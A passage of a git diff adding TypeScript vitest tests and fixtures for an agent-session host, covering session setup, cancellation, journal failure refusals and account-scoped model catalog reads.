P=0 U=0 ${JSON.stringify(observed.measurements)} elapsedMs=${elapsedMs.toFixed(3)}\n` + ) + } finally { + await f.dispose() + } + } +) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-callers.test-support.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-callers.test-support.ts new file mode 100644 index 00000000000..aef7c5611a5 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-callers.test-support.ts @@ -0,0 +1,298 @@ +import { + receivingPersistedFixtures, + receivingRuntimeStore +} from './structured-agent-session-receiving-persisted.test-support' +import { expect, vi } from 'vitest' +import { getAppEnvironment, setAppEnvironment } from '../../../shared/app-environment' +import { testOrcaSessionId } from '../../../shared/orca-session-address-test-fixture' +import { claudeProviderHandle } from '../../../shared/agent-session-provider-handle-encoding' +import type { ClaudeAccountRecipe } from '../../../shared/agent-session-acquired-account' +import { computeAgentSessionPayloadFingerprint } from '../../../shared/agent-session-mutation-envelope' +import { agentJournalSubmissionKey } from '../../../shared/agent-session-journal-item-key' +import type { AgentJournalMessageItem } from '../../../shared/agent-session-journal-types' +import type { OrchestrationSessionCaller } from '../../runtime/orchestration/orchestration-caller-identity' +import { resolveOrcaSessionParty } from '../../runtime/orchestration/orchestration-party' +import { ReceivingRuntime } from './structured-agent-session-receiving-runtime.test-support' +import { eraseRpcMethods, isStreamingMethod } from '../../runtime/rpc/core' +import { STRUCTURED_AGENT_SESSION_METHODS } from '../../runtime/rpc/methods/structured-agent-session' +import { ORCHESTRATION_METHODS } from '../../runtime/rpc/methods/orchestration' +import { resolveWorkerStartRun } from '../../runtime/rpc/methods/orchestration/worker/worker-start-authority' +import { resolveDispatchCreator } from '../../runtime/rpc/methods/orchestration/runs/dispatch-creator' +import { + mintStructuredWorkerHandle, + mintStructuredWorkerPaneKey, + structuredWorkerIdentities, + structuredWorkerProcessIncarnation +} from '../../runtime/structured-worker-identity' +import { structuredNativeWorkReaders } from '../../runtime/structured-native-work-readers' +import { createRestTestRig, REST_TEST_CALLER } from './structured-agent-session-rest-test-rig' +import { + hostTestAttachParams, + hostTestMessage, + hostTestOperationId +} from './structured-agent-session-host-test-data' +import { setStructuredAgentSessionHost } from './structured-agent-session-registry' +import type { StructuredAgentSessionEventSink } from './structured-agent-session-event-sink' + +export const PARENT = testOrcaSessionId('cfe50e96-3a95-4353-9cdc-7a652779c6e8') +export const WORKER = testOrcaSessionId('4c1b8d7a-975c-4984-a2e4-8149fdd4177a') +export const HELPER = testOrcaSessionId('8e2ab9f7-0ad7-43f0-9241-539b1e4c5bc7') +export const HOME_A = { variable: 'CLAUDE_CONFIG_DIR', path: '/qa/claude/a' } +export const HOME_B = { variable: 'CLAUDE_CONFIG_DIR', path: '/qa/claude/b' } + +/** Script only external adapter IO; reservation, proof, journals, RPC and native transactions are real. */ +export async function createReceivingCallerFixture(options: { reportsRecipe?: boolean } = {}) { + const previousEnvironment = getAppEnvironment() + let selected = HOME_A + let runtime: ReceivingRuntime | undefined + const readers = structuredNativeWorkReaders( + () => runtime?.getOrchestrationDbIfAvailable() ?? null, + () => runtime?.getExistingOrchestrationDb() ?? null + ) + const rig = await createRestTestRig({ ...readers, launchAccountHome: async () => selected }) + setAppEnvironment({ + ...previousEnvironment, + getPath: (name) => (name === 'userData' ? rig.root : previousEnvironment.getPath(name)) + }) + const runtimeStore = receivingRuntimeStore(rig.root) + const service = new ReceivingRuntime(runtimeStore) + runtime = service + // Scheduling is externally controlled; nested contracts drive the production pointer park/wake. + const nudges = vi.spyOn(service, 'notifyMessageArrived').mockImplementation(() => {}) + rig.host.deps.adapter.supportsLocation = (location) => + location.executionHostId === 'local' && !location.wslDistro + setStructuredAgentSessionHost(rig.host) + const sinks = new Map() + let generation = 0 + rig.adapter.acquire.mockImplementation(async (input) => { + const recipe: ClaudeAccountRecipe = input.accountRecipe ?? { + route: 'system', + home: selected.path, + configDir: selected.path + } + if (input.events) { + sinks.set(input.identity.sessionId, input.events) + } + return { + acquisitionGeneration: `caller-generation-${++generation}`, + accountHome: { variable: 'CLAUDE_CONFIG_DIR', path: recipe.home }, + ...(options.reportsRecipe === false ? {} : { accountRecipe: recipe }), + process: { + hostId: 'local', + pid: 4242, + processStartTimeMs: 1_700_000_000_000, + spawnToken: input.spawnToken + }, + link: { + linkId: `caller-link-${generation}`, + handle: claudeProviderHandle(`provider-${input.identity.sessionId}`, null), + origin: rig.store.getRecord(input.identity.sessionId)?.providerHandleChain.length + ? 'resumed' + : 'created', + mintedAtFence: input.fence, + observedAt: rig.clock.now + } + } + }) + rig.adapter.dispatch.mockImplementation(async (input) => ({ + state: 'accepted', + providerIdentity: { + provider: 'claude', + sessionId: `provider-${input.sessionId}`, + uuid: `echo-${input.clientMessageId}` + } + })) + vi.spyOn(service, 'ensureStructuredAgentSessionHost').mockResolvedValue() + const params = (id = PARENT) => + hostTestAttachParams(rig.store.getRecord(id)?.lease.runtimeFence ?? null, { + envelope: { + sessionId: id, + clientOperationId: hostTestOperationId(), + expectedRuntimeFence: rig.store.getRecord(id)?.lease.runtimeFence ?? null, + payloadFingerprint: '' + }, + provider: 'claude', + agent: 'claude', + accountHome: HOME_A, + providerHandle: { kind: 'claude', sessionId: `provider-${id}`, leafUuid: null } + }) + const ensure = async (id = PARENT) => { + const method = eraseRpcMethods(STRUCTURED_AGENT_SESSION_METHODS).find( + (m) => m.name === 'agentSession.ensure' + ) + if (!method?.params || isStreamingMethod(method)) { + throw new Error('registered ensure missing') + } + return method.handler(method.params.parse(params(id)), { runtime: service }) + } + const call = async ( + name: string, + values: Record, + caller?: OrchestrationSessionCaller + ) => { + const method = eraseRpcMethods(ORCHESTRATION_METHODS).find((m) => m.name === name) + if (!method?.params) { + throw new Error(`registered method missing: ${name}`) + } + return method.handler(method.params.parse(values), { + runtime: service, + ...(caller ? { orchestrationCaller: caller } : {}) + }) + } + const caller = (id = PARENT): OrchestrationSessionCaller => ({ + ...resolveOrcaSessionParty(id, service.getExistingOrchestrationDb()), + sessionId: id, + workspaceId: 'workspace-1' + }) + const accept = async (text: string, body: AgentJournalMessageItem = hostTestMessage(text)) => { + const id = hostTestOperationId() + const result = await rig.host.send(REST_TEST_CALLER, { + body, + envelope: { + sessionId: PARENT, + clientOperationId: id, + expectedRuntimeFence: rig.store.requireWritableRecord(PARENT).lease.runtimeFence, + payloadFingerprint: computeAgentSessionPayloadFingerprint({ + method: 'agentSession.send', + sessionId: PARENT, + fields: { body } + }) + } + }) + expect(result.ok).toBe(true) + return id + } + const send = async (text: string, body: AgentJournalMessageItem = hostTestMessage(text)) => { + const id = await accept(text, body) + await vi.waitFor(() => + expect( + rig.host.collaboratorsForTests().sessions.get(PARENT)?.journal.submission(id)?.dispatchState + ).toBe('accepted') + ) + return id + } + const turn = async (id: string, state: 'running' | 'completed', userId = id) => { + const sink = sinks.get(PARENT) + if (!sink) { + throw new Error('parent was not actually acquired') + } + sink.appendItem( + { provider: 'claude', sessionId: `provider-${PARENT}`, uuid: `turn-${id}` }, + { + kind: 'turn', + turnId: `turn-${id}`, + state, + userItemId: agentJournalSubmissionKey(userId), + ...(state === 'completed' ? { outcome: 'success', completedAt: rig.clock.now } : {}) + }, + { turnScope: { kind: 'thread' } } + ) + await rig.host.flushStreamedEvents(PARENT) + } + const createWorker = async (id: typeof WORKER | typeof HELPER, creator = PARENT) => { + const from = caller(creator) + const taskSpec = `work for ${id}` + const { bindRun, helperCreator } = resolveWorkerStartRun(service, { + coordinator: from, + from: from.address, + callerSession: from, + runId: undefined, + objective: taskSpec, + taskReferences: [] + }) + const { run } = bindRun() + const db = service.getOrchestrationDb() + const started = db.createStartingWorkerDispatch({ + creator: resolveDispatchCreator(service, from.address, from), + maxDepth: 9, + requiredCreatorDispatchId: helperCreator?.id, + taskSpec, + taskParentId: helperCreator?.task_id, + taskRunId: run.id, + taskCreatedByRunGeneration: run.consumer_generation, + startOptions: {}, + runtimeEpoch: service.getRuntimeId() + }) + const handle = mintStructuredWorkerHandle() + const paneKey = mintStructuredWorkerPaneKey(id) + const processIncarnation = structuredWorkerProcessIncarnation(id) + structuredWorkerIdentities.register({ + handle, + paneKey, + processIncarnation, + sessionId: id, + agent: 'claude', + worktreeId: 'workspace-1', + hostScope: { kind: 'local', hostId: 'local' } + }) + await ensure(id) + await rig.store.setSessionTabVisibility(id, true) + db.prepareStartingWorkerAuthority({ + dispatchId: started.dispatch.id, + handle, + paneKey, + processIncarnation, + worktreeId: 'workspace-1', + setupState: 'not_applicable', + effects: [{ kind: 'terminal', action: 'created', id: handle }], + terminalOwnership: 'created' + }) + db.markWorkerDispatchReady(started.dispatch.id) + return { ...started, handle, paneKey, processIncarnation, sessionId: id } + } + const report = (worker: Awaited>) => + call( + 'orchestration.send', + { + from: worker.handle, + type: 'worker_done', + subject: 'completed', + payload: JSON.stringify({ + taskId: worker.task.id, + dispatchId: worker.dispatch.id, + outcome: 'succeeded' + }) + }, + caller(worker.sessionId) + ) + return { + rig, + runtime: service, + params, + ensure, + call, + caller, + send, + accept, + turn, + createWorker, + report, + sinks, + nudges, + selectB: () => { + selected = HOME_B + }, + ...receivingPersistedFixtures({ rig, params }), + found: async () => { + await ensure() + await rig.store.setSessionTabVisibility(PARENT, true) + if (options.reportsRecipe !== false) { + expect(rig.store.requireWritableRecord(PARENT).acquiredAccount).toBeDefined() + } + }, + dispose: async ( + stopHost = () => rig.host.flushAllStreamedEvents(), + disposeRig = () => rig.dispose() + ) => { + service.stopOrchestrationFederationRelay() + setStructuredAgentSessionHost(null) + structuredWorkerIdentities.clear() + await stopHost() + service.getOrchestrationDbIfAvailable()?.close() + await runtimeStore.freezeWritesAsync() + await disposeRig() + setAppEnvironment(previousEnvironment) + vi.restoreAllMocks() + } + } +} diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-cancellation.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-cancellation.test.ts new file mode 100644 index 00000000000..4d9d51097f8 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-cancellation.test.ts @@ -0,0 +1,155 @@ +import { expect, it, vi } from 'vitest' +import { acquiredAgentSessionAccount } from '../../../shared/agent-session-acquired-account' +import { computeAgentSessionPayloadFingerprint } from '../../../shared/agent-session-mutation-envelope' +import { AgentSessionJournal } from '../agent-session-journal/journal-store' +import { REST_TEST_CALLER } from './structured-agent-session-rest-test-rig' +import { hostTestMessage, hostTestOperationId } from './structured-agent-session-host-test-data' +import { + createReceivingCallerFixture, + HOME_B, + PARENT +} from './structured-agent-session-receiving-callers.test-support' + +it('finishes an owned ordinary open but direct cancellation publishes no child', async () => { + const f = await createReceivingCallerFixture() + const opened = Promise.withResolvers() + const release = Promise.withResolvers() + try { + await f.found() + await f.coldNative() + f.selectB() + const original = acquiredAgentSessionAccount(f.rig.store.requireWritableRecord(PARENT)) + const open = AgentSessionJournal.prototype.open + vi.spyOn(AgentSessionJournal.prototype, 'open').mockImplementationOnce(async function ( + this: AgentSessionJournal + ) { + opened.resolve() + await release.promise + return open.call(this) + }) + f.rig.adapter.acquire.mockClear() + const result = f.ensure().then( + (value) => ({ value }), + (error: unknown) => ({ error }) + ) + await opened.promise + f.rig.host + .collaboratorsForTests() + .runtimeState.acquireAborts.abort(PARENT, 'cancelled while opening') + release.resolve() + await result + expect(f.rig.host.hasSession(PARENT)).toBe(true) + expect(f.rig.host.childAccountHome(PARENT)).toBeUndefined() + expect(f.rig.adapter.acquire).not.toHaveBeenCalled() + expect(acquiredAgentSessionAccount(f.rig.store.requireWritableRecord(PARENT))?.recipe).toEqual( + original?.recipe + ) + expect(f.rig.store.requireWritableRecord(PARENT).lease.claimStatus).toBe('released') + } finally { + release.resolve() + await f.dispose() + } +}) + +it('a real Stop remains responsive while a background start awaits the selected resolver', async () => { + const f = await createReceivingCallerFixture() + const release = Promise.withResolvers() + try { + await f.found() + await f.rig.host.close(PARENT, 'evict') + const original = acquiredAgentSessionAccount(f.rig.store.requireWritableRecord(PARENT)) + const resolution = vi + .spyOn(f.rig.host.deps, 'launchAccountHome') + .mockImplementation(async () => { + await release.promise + return HOME_B + }) + f.rig.adapter.acquire.mockClear() + f.rig.adapter.dispatch.mockClear() + const id = await f.accept('cancel this background start') + await vi.waitFor(() => expect(resolution).toHaveBeenCalled()) + const stopped = await f.rig.host.cancel(REST_TEST_CALLER, { + envelope: { + sessionId: PARENT, + clientOperationId: hostTestOperationId(), + expectedRuntimeFence: f.rig.store.requireWritableRecord(PARENT).lease.runtimeFence, + payloadFingerprint: computeAgentSessionPayloadFingerprint({ + method: 'agentSession.cancel', + sessionId: PARENT, + fields: {} + }) + } + }) + expect(stopped).toMatchObject({ ok: true, value: { cancelled: true } }) + release.resolve() + await vi.waitFor(() => + expect(f.rig.host.collaboratorsForTests().runtimeState.startFlights.has(PARENT)).toBe(false) + ) + expect(f.rig.adapter.acquire).not.toHaveBeenCalled() + expect(f.rig.adapter.dispatch).not.toHaveBeenCalled() + expect( + f.rig.host.collaboratorsForTests().sessions.get(PARENT)?.journal.submission(id) + ).toMatchObject({ rejection: { kind: 'cancelled' } }) + expect(acquiredAgentSessionAccount(f.rig.store.requireWritableRecord(PARENT))?.recipe).toEqual( + original?.recipe + ) + } finally { + release.resolve() + await f.dispose() + } +}) + +it('ensure and ordinary send share the journal refusal; retry retains history without a failed spawn', async () => { + const f = await createReceivingCallerFixture() + try { + await f.found() + await f.rig.host.close(PARENT, 'evict') + const before = f.rig.store.requireWritableRecord(PARENT) + const rows = f.rig.store.listOperationRows() + const open = vi + .spyOn(AgentSessionJournal.prototype, 'open') + .mockRejectedValue(new Error('fixture journal IO unavailable')) + f.rig.adapter.acquire.mockClear() + const ensured = await f.ensure() + expect(ensured).toMatchObject({ + ok: false, + refusal: { + code: 'agent_session_journal_unreadable', + details: { reason: 'journalUnavailable' } + } + }) + const body = hostTestMessage('retryable send') + const sent = await f.rig.host.send(REST_TEST_CALLER, { + body, + envelope: { + sessionId: PARENT, + clientOperationId: hostTestOperationId(), + expectedRuntimeFence: before.lease.runtimeFence, + payloadFingerprint: computeAgentSessionPayloadFingerprint({ + method: 'agentSession.send', + sessionId: PARENT, + fields: { body } + }) + } + }) + expect(sent).toMatchObject({ + ok: false, + refusal: { + code: 'agent_session_journal_unreadable', + details: { reason: 'journalUnavailable' } + } + }) + expect(f.rig.adapter.acquire).not.toHaveBeenCalled() + expect(f.rig.store.requireWritableRecord(PARENT).lease.runtimeFence).toBe( + before.lease.runtimeFence + ) + expect(acquiredAgentSessionAccount(f.rig.store.requireWritableRecord(PARENT))?.recipe).toEqual( + acquiredAgentSessionAccount(before)?.recipe + ) + expect(f.rig.store.listOperationRows()).toEqual(rows) + open.mockRestore() + expect(await f.ensure()).toMatchObject({ ok: true }) + } finally { + await f.dispose() + } +}) diff --git a/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-catalog.test.ts b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-catalog.test.ts new file mode 100644 index 00000000000..dfc9ba53a09 --- /dev/null +++ b/src/main/native-chat/agent-session-wire/structured-agent-session-receiving-catalog.test.ts @@ -0,0 +1,580 @@ +import { eraseRpcMethods, isStreamingMethod } from '../../runtime/rpc/core' +import { STRUCTURED_AGENT_SESSION_OPTIONS_READ_METHODS } from '../../runtime/rpc/methods/structured-agent-session-options-read' +import * as receiving from './structured-agent-session-receiving-account' +import { observeReceivingSql } from './structured-agent-session-receiving-sql.test-support' +import { + type AgentModelCatalogSuccess, + AgentModelCatalogStore +} from '../agent-model-catalog/agent-model-catalog-store' +import type { AgentModelCatalogProbe } from '../agent-model-catalog/agent-model-catalog-discovery' +import { rm } from 'node:fs/promises' +import { describe, expect, it, vi } from 'vitest' +import { computeAgentSessionPayloadFingerprint } from '../../../shared/agent-session-mutation-envelope' +import { agentSessionAccountHomePath } from '../../../shared/agent-session-account-home' +import { REST_TEST_CALLER } from './structured-agent-session-rest-test-rig' +import { hostTestOperationId } from './structured-agent-session-host-test-data' +import { + catalogMutationDeadline as settled, + disposeCatalogMutationHost +} from './structured-agent-session-catalog-mutation.test-support' +import { createAgentModelCatalogService } from '../agent-model-catalog/agent-model-catalog-service' +import { + agentModelCatalogFingerprint, + agentModelCatalogScopeFingerprint +} from '../agent-model-catalog/agent-model-catalog-fingerprint' +import { structuredAgentModelCatalogAccountReads } from '../../runtime/structured-agent-model-catalog-wiring' +import { readJournalSessionEpoch } from '../agent-session-journal/journal-row-table' +import { setStructuredAgentSessionHost } from './structured-agent-session-registry' +import { + createReceivingCallerFixture, + HOME_A, + HOME_B, + PARENT +} from './structured-agent-session-receiving-callers.test-support' + +function catalog( + f: Awaited>, + _countSavedScope = false +) { + const store = new AgentModelCatalogStore() + for (const [home, id] of [ + [HOME_A, 'claude-sonnet-5'], + [HOME_B, 'claude-opus-5-5[1m]'] + ] as const) { + store.recordSuccess( + agentModelCatalogScopeFingerprint( + agentModelCatalogFingerprint({ agent: 'claude', accountHome: home, wslDistro: null }), + f.rig.root + ), + 'claude', + { + models: [{ id, label: id, isDefault: true, efforts: [] }], + origin: 'probe', + complete: true + }, + 'discovery' + ) + } + const probe = vi.fn(async (): Promise => { + throw new Error('saved inventory must not probe') + }) + const resolve = vi.fn( + async (..._args: Parameters>) => ({ + identity: undefined, + run: probe + }) + ) + const service = createAgentModelCatalogService({ + store, + getConversation: (id) => f.rig.store.getConversation(id) ?? undefined, + getRecord: (id) => f.rig.store.getRecord(id) ?? undefined, + recordWorkspacePath: async () => f.rig.root, + drivesRecord: () => true, + resolveAccountHome: async () => HOME_B, + ...structuredAgentModelCatalogAccountReads(() => f.rig.host), + probes: { claude: Object.assign(probe, { resolve }) }, + agentReadsProjectModelConfig: () => false + }) + f.rig.host.deps.modelCatalog = service + const demands = vi.spyOn(service, 'demand') + const read = () => f.rig.host.readModelCatalog({ agent: 'claude', sessionId: PARENT }) + const completed = async (viaRpc = false) => { + if (viaRpc) { + const method = eraseRpcMethods(STRUCTURED_AGENT_SESSION_OPTIONS_READ_METHODS).find( + (entry) => entry.name === 'agentSession.modelCatalog' + ) + if (!method?.params || isStreamingMethod(method)) { + throw new Error('named catalog RPC is not installed') + } + await method.handler(method.params.parse({ agent: 'claude', sessionId: PARENT }), { + runtime: f.runtime + }) + } else { + await read() + } + const claim = demands.mock.results.at(-1)?.value + if (claim) { + await settled(claim, 'named catalog demand completion') + } + const request = demands.mock.calls.at(-1)?.[0] + return request ? service.snapshot(request) : { origin: 'unknown' as const } + } + return { + service, + store, + probe, + resolve, + demands, + read, + ids: async (viaRpc = false) => { + const result = await completed(viaRpc) + expect(result.origin).not.toBe('unknown') + if (result.origin === 'unknown') { + throw new Error('catalog unexpectedly unknown') + } + return result.models.map((model) => model.id) + } + } +} + +describe('catalog consumes the constructed host receiving account', () => { + it('reads A before exact native disposition and B afterward, without the global registry', async () => { + const f = await createReceivingCallerFixture() + let service: ReturnType | undefined + try { + await f.found() + const { started } = await f.coldNative() + f.selectB() + setStructuredAgentSessionHost(null) + const c = catalog(f) + service = c.service + f.rig.adapter.acquire.mockClear() + const all = vi.spyOn(f.rig.store, 'listRecords').mockImplementation(() => { + throw new Error('global history scan') + }) + expect(await c.ids()).toEqual(['claude-sonnet-5']) + expect((await f.rig.host.readOptions(PARENT)).current.model).toBe('claude-sonnet-5') + expect(f.rig.host.hasSession(PARENT)).toBe(true) + const session = f.rig.host.collaboratorsForTests().sessions.get(PARENT) + if (!session) { + throw new Error('existing journal was not adopted') + } + const visits = vi.spyOn(session.journal, 'visitItemsWithLinkage') + await c.read() + expect(visits).not.toHaveBeenCalled() + const db = f.runtime.getOrchestrationDb() + db.failWorkerStart(started.dispatch.id, 'agent_readiness', 'never constructed a worker') + expect(await c.ids()).toEqual(['claude-opus-5-5[1m]']) + expect((await f.rig.host.readOptions(PARENT)).current.model).toBe('claude-opus-5-5[1m]') + expect(c.probe).not.toHaveBeenCalled() + expect(f.rig.adapter.acquire).not.toHaveBeenCalled() + all.mockRestore() + } finally { + service?.stop() + await f.dispose() + } + }) + + it('a proven absent journal still reads A from actual success and pre-notice work without founding one', async () => { + const f = await createReceivingCallerFixture() + let service: ReturnType | undefined + try { + await f.proveWithoutJournal() + await f.coldNative() + f.selectB() + const c = catalog(f) + service = c.service + f.rig.adapter.acquire.mockClear() + expect(await c.ids()).toEqual(['claude-sonnet-5']) + expect(readJournalSessionEpoch(f.rig.host.deps.journalDatabase.db, PARENT)).toBeNull() + expect(f.rig.host.hasSession(PARENT)).toBe(false) + expect(c.probe).not.toHaveBeenCalled() + expect(f.rig.adapter.acquire).not.toHaveBeenCalled() + } finally { + service?.stop() + await f.dispose() + } + }) + + it('real prospective read failure answers unknown instead of using B cached facts', async () => { + const f = await createReceivingCallerFixture() + let service: ReturnType | undefined + try { + await f.found() + await f.coldNative() + f.selectB() + const c = catalog(f) + service = c.service + const db = f.runtime.getOrchestrationDb() + const prepare = db.db.prepare.bind(db.db) + vi.spyOn(db.db, 'prepare').mockImplementation((sql) => { + if (sql.includes('SELECT id FROM runs WHERE coordinator_orca_session_id')) { + throw new Error('native read unavailable') + } + return prepare(sql) + }) + expect(await c.read()).toEqual({ origin: 'unknown' }) + expect(c.probe).not.toHaveBeenCalled() + expect(f.rig.host.childAccountHome(PARENT)).toBeUndefined() + } finally { + service?.stop() + await f.dispose() + } + }) + + // Real journal/native DB setup, two 2s mutations and bounded host cleanup share this budget. + it('owned permission settlement reads actual A until exact native disposition, then eligible B', async () => { + const f = await createReceivingCallerFixture() + let service: ReturnType | undefined + try { + await f.found() + const { started } = await f.coldNative() + f.selectB() + setStructuredAgentSessionHost(null) + const c = catalog(f) + service = c.service + f.rig.adapter.acquire.mockClear() + const all = vi.spyOn(f.rig.store, 'listRecords').mockImplementation(() => { + throw new Error('global history scan') + }) + const pick = async () => { + const key = 'permissionMode' + const value = 'own' + expect( + await settled( + f.rig.host.setOption(REST_TEST_CALLER, { + key, + value, + envelope: { + sessionId: PARENT, + clientOperationId: hostTestOperationId(), + expectedRuntimeFence: f.rig.store.requireWritableRecord(PARENT).lease.runtimeFence, + payloadFingerprint: computeAgentSessionPayloadFingerprint({ + method: 'agentSession.setOption', + sessionId: PARENT, + fields: { key, value } + }) + } + }), + 'receiving-account permission mutation' + ) + ).toMatchObject({ + ok: true, + value: { key, value, options: { permissionMode: 'own' } } + }) + expect(f.rig.store.requireWritableRecord(PARENT).permissionMode).toBe('own') + return undefined + } + await pick() + expect(await c.ids()).toEqual(['claude-sonnet-5']) + f.runtime + .getOrchestrationDb() + .failWorkerStart(started.dispatch.id, 'agent_readiness', 'never constructed a worker') + await pick() + expect(await c.ids()).toEqual(['claude-opus-5-5[1m]']) + expect(c.probe).not.toHaveBeenCalled() + expect(f.rig.adapter.acquire).not.toHaveBeenCalled() + expect(f.rig.adapter.dispatch).not.toHaveBeenCalled() + expect(f.rig.adapter.readOptions).not.toHaveBeenCalled() + expect(all).not.toHaveBeenCalled() + } finally { + service?.stop() + await f.dispose( + () => disposeCatalogMutationHost(f.rig), + () => rm(f.rig.root, { recursive: true, force: true }) + ) + } + }, 10_000) +}) + +// Real cold adoption, N serialized mutations and bounded cleanup share the existing catalog budget. +it.each([10, 100])( + 'counts inventory-independent picks and explicit receiving catalog work over %i operations', + async (n) => { + const f = await createReceivingCallerFixture() + let service: ReturnType | undefined + try { + await f.found() + const { started } = await f.coldNative() + f.selectB() + const c = catalog(f, true) + service = c.service + f.rig.adapter.acquire.mockClear() + const entries = vi.spyOn(receiving, 'structuredAgentSessionReceivingAccount') + const external = vi.spyOn(f.rig.host, 'prospectiveAccountHome') + const all = vi.spyOn(f.rig.store, 'listRecords').mockImplementation(() => { + throw new Error('global history scan') + }) + const pick = async () => { + const key = 'permissionMode' + const value = 'own' + expect( + await settled( + f.rig.host.setOption(REST_TEST_CALLER, { + key, + value, + envelope: { + sessionId: PARENT, + clientOperationId: hostTestOperationId(), + expectedRuntimeFence: f.rig.store.requireWritableRecord(PARENT).lease.runtimeFence, + payloadFingerprint: computeAgentSessionPayloadFingerprint({ + method: 'agentSession.setOption', + sessionId: PARENT, + fields: { key, value } + }) + } + }), + 'owned catalog counted mutation' + ) + ).toMatchObject({ + ok: true, + value: { key, value, options: { permissionMode: 'own' } } + }) + expect(f.rig.store.requireWritableRecord(PARENT).permissionMode).toBe('own') + return undefined + } + const measure = async (count: number, work: () => Promise) => { + entries.mockClear() + external.mockClear() + c.resolve.mockClear() + c.demands.mockClear() + const observed = observeReceivingSql(f.runtime.getOrchestrationDb()) + try { + await work() + expect(entries).toHaveBeenCalledTimes(count) + expect(c.resolve).toHaveBeenCalledTimes(count) + expect( + c.resolve.mock.calls.every( + ([, cwd, lookup]) => cwd === f.rig.root && lookup === 'snapshot' + ) + ).toBe(true) + expect(observed.measurements.prepares).toBeLessThanOrEqual(20 * count) + expect(observed.measurements.allRows).toBeLessThanOrEqual(8 * count) + expect(observed.measurements.plans.length).toBeGreaterThan(0) + expect( + observed.measurements.plans.filter((detail) => + /\bSCAN (?:run|child|task|parent|messages|dispatch_contexts|agent_session_records)\b/.test( + detail + ) + ) + ).toEqual([]) + expect(c.probe).not.toHaveBeenCalled() + expect(f.rig.adapter.acquire).not.toHaveBeenCalled() + expect(f.rig.adapter.dispatch).not.toHaveBeenCalled() + expect(f.rig.adapter.readOptions).not.toHaveBeenCalled() + expect(all).not.toHaveBeenCalled() + process.stdout.write( + `owned-catalog operations=${count} receiving=${entries.mock.calls.length} snapshotResolutions=${c.resolve.mock.calls.length} sql=${observed.measurements.prepares} rows=${observed.measurements.allRows}\n` + ) + } finally { + observed.stop() + } + } + entries.mockClear() + c.resolve.mockClear() + c.demands.mockClear() + const preparation = vi.spyOn(c.service, 'prepareSaved') + const reads = vi.spyOn(c.service, 'read') + const pickedSql = observeReceivingSql(f.runtime.getOrchestrationDb()) + try { + for (let i = 0; i < n; i += 1) { + await pick() + } + expect(entries).not.toHaveBeenCalled() + expect(c.resolve).not.toHaveBeenCalled() + expect(c.demands).not.toHaveBeenCalled() + expect(preparation).not.toHaveBeenCalled() + expect(reads).not.toHaveBeenCalled() + expect(pickedSql.measurements.prepares).toBe(0) + expect(pickedSql.measurements.allRows).toBe(0) + } finally { + pickedSql.stop() + } + await measure(n, async () => { + for (let i = 0; i < n; i += 1) { + const options = await settled( + f.rig.host.readOptions(PARENT, { readsWithoutModel: false }), + 'explicit legacy options' + ) + expect(options.current.model).toBe('claude-sonnet-5') + } + }) + expect(preparation).toHaveBeenCalledTimes(n) + expect(reads.mock.calls.length).toBeGreaterThan(0) + expect(external).not.toHaveBeenCalled() + expect( + c.resolve.mock.calls.every(([home]) => agentSessionAccountHomePath(home) === HOME_A.path) + ).toBe(true) + entries.mockClear() + c.resolve.mockClear() + c.demands.mockClear() + expect(await c.ids(true)).toEqual(['claude-sonnet-5']) + expect(entries).toHaveBeenCalledTimes(1) + expect(c.resolve).toHaveBeenCalledTimes(1) + expect(c.demands).toHaveBeenCalledTimes(1) + const before = await f.rig.host.readOptions(PARENT) + f.runtime + .getOrchestrationDb() + .failWorkerStart(started.dispatch.id, 'agent_readiness', 'never constructed a worker') + await measure(1, async () => { + const [picked, listed] = await settled( + Promise.all([pick(), f.rig.host.readOptions(PARENT, { readsWithoutModel: false })]), + 'parallel owned/external catalog consumers' + ) + expect(picked).toBeUndefined() + expect(listed.current.model).toBe('claude-opus-5-5[1m]') + }) + expect(external).not.toHaveBeenCalled() + expect(before.current.model).toBe('claude-sonnet-5') + expect( + c.resolve.mock.calls.every(([home]) => agentSessionAccountHomePath(home) === HOME_B.path) + ).toBe(true) + } finally { + service?.stop() + await f.dispose( + () => disposeCatalogMutationHost(f.rig), + () => rm(f.rig.root, { recursive: true, force: true }) + ) + } + }, + 10_000 +) + +// These operations run the real host owner and catalog claim; only external provider IO is scripted. +it('keeps newer public intent while discovery waits and reports a failed listing without holding Stop', async () => { + const f = await createReceivingCallerFixture() + let service: ReturnType | undefined + const listing = Promise.withResolvers() + try { + await f.found() + await f.rig.host.close(PARENT, 'evict') + f.rig.adapter.acquire.mockClear() + const c = catalog(f, true) + service = c.service + c.store.expireAgent('claude') + c.probe.mockImplementationOnce(() => listing.promise) + const reading = f.rig.host.readOptions(PARENT, { readsWithoutModel: false }) + await vi.waitFor(() => expect(c.probe).toHaveBeenCalledOnce()) + const pick = (key: string, value: string) => + f.rig.host.setOption(REST_TEST_CALLER, { + key, + value, + envelope: { + sessionId: PARENT, + clientOperationId: hostTestOperationId(), + expectedRuntimeFence: f.rig.store.requireWritableRecord(PARENT).lease.runtimeFence, + payloadFingerprint: computeAgentSessionPayloadFingerprint({ + method: 'agentSession.setOption', + sessionId: PARENT, + fields: { key, value } + }) + } + }) + expect( + await settled(pick('model', 'claude-opus-5-5[1m]'), 'newer public model pick') + ).toMatchObject({ ok: true }) + expect(await settled(pick('effort', 'low'), 'newer public effort pick')).toMatchObject({ + ok: true + }) + listing.resolve({ + models: [{ id: 'old-listing', label: 'Old', isDefault: true, efforts: [] }], + origin: 'probe', + complete: true + }) + expect(await settled(reading, 'pending legacy reader')).toMatchObject({ + current: { model: 'claude-opus-5-5[1m]', effort: 'low' } + }) + expect(f.rig.store.requireWritableRecord(PARENT).options).toMatchObject({ + model: 'claude-opus-5-5[1m]', + effort: 'low' + }) + f.selectB() + c.store.expireAgent('claude') + c.probe.mockRejectedValueOnce(new Error('model/list unavailable')) + const failed = await c.read() + expect(failed.origin).toBe('unknown') + const claim = c.demands.mock.results.at(-1)?.value + if (!claim) { + throw new Error('real named demand was not installed') + } + await settled(claim, 'failed discovery settlement') + const request = c.demands.mock.calls.at(-1)?.[0] + if (!request) { + throw new Error('real named demand has no request') 